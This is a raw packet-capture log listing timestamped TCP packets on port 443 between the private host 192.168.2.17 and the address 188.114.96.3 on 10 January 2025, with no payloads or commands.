Jan 10, 2025 20:50:07.115726948 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.158694983 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.201306105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201337099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201407909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201441050 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.201453924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201483965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201495886 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.201530933 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.201621056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201637030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201699018 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.201720953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201850891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201870918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201925993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.201948881 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.201962948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.202220917 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202235937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202307940 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.202317953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202402115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202421904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202469110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.202478886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202593088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.202677011 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202692032 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202760935 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.202769995 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202855110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.202877998 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.203306913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.203306913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.203322887 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.252568960 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288161039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288178921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288239002 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288325071 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288345098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288378954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288402081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288435936 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288655996 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288655996 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288664103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288728952 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288743973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288819075 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288825035 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.288875103 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.288875103 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289124012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289145947 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289339066 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289339066 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289345980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289549112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289571047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289685965 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289685965 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289690971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289799929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289815903 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289922953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289947033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.289988041 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289988995 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289988995 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.289998055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.290249109 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.331938028 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.375612974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375648022 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375720024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375772953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375790119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.375794888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375811100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375822067 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.375827074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375871897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375897884 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.375914097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.375931025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376132965 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376367092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376388073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376458883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376468897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376508951 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376528978 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376583099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376600027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376756907 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376763105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376863003 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376880884 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.376884937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.376900911 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.377043962 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.377043962 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.377181053 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.377202034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.377327919 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.377332926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.378618956 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.462078094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462138891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462162018 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462167978 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.462179899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462196112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462285042 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.462285042 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.462295055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462562084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.462579012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463032007 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463047028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463071108 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.463071108 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.463078976 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463165998 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.463624954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463643074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463711023 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.463712931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463728905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463761091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463773966 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.463781118 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463790894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.463812113 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.464134932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.464154959 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.464176893 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.464176893 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.464185953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.464222908 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.464236021 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.548734903 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.548774004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.548840046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.548875093 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.548877954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.548901081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.549019098 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.549417973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.549433947 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.549514055 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.549523115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.550808907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.550831079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.550904036 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.550920010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.550946951 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.550946951 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.550957918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551081896 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551088095 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.551099062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551122904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551182032 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551217079 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.551218033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551217079 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.551229954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551246881 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551255941 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.551295996 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551310062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.551330090 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.551372051 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.551413059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.635792971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.635823011 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.635901928 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.635930061 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.635938883 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.635963917 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.635976076 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.636111975 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.637873888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.637897015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.637955904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.637980938 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.637988091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638072014 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638083935 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638094902 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638098001 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638108969 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638175964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638206959 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638278961 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638290882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638290882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638292074 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638299942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638346910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638364077 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638365984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.638478994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638478994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.638484955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.683856010 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723386049 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723423958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723531008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723531008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723546028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723568916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723597050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723630905 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723638058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723683119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723701000 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723747969 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723764896 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.723980904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.723987103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724076986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.724091053 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724114895 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724179029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.724184990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724294901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724319935 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724579096 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.724579096 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.724586010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724662066 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.724669933 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724687099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724793911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.724800110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.724868059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.725337029 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.725358009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.725430965 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.725436926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.725462914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.725482941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.725645065 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.725645065 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.725652933 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.725997925 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.810273886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810296059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810363054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810385942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.810400963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810472012 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.810489893 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.810640097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810656071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810735941 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.810741901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810806990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810856104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810877085 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.810882092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.810928106 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.811280012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.811301947 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.811409950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.811429977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.811500072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.811500072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.811507940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.811572075 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.812026024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.812042952 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.812110901 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.812117100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.812194109 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.812367916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.812390089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.812635899 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.812635899 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.812642097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.813796997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897183895 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897208929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897269011 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897285938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897330999 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897330999 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897438049 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897455931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897540092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897546053 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897557020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897574902 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897635937 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897635937 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897643089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897898912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897912979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.897975922 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.897984028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898104906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898123980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898191929 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.898199081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898335934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898351908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898406029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.898412943 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.898452997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.898490906 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.899836063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.899851084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.899945974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.899950027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.899969101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.900038004 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.900060892 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985125065 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985152006 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985205889 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985219002 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985234022 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985255003 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985266924 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985287905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985316992 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985332012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985352993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985352993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985364914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985379934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985407114 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985418081 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985445023 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985451937 CET	443	49803	188.114.96.3	192.168.2.17
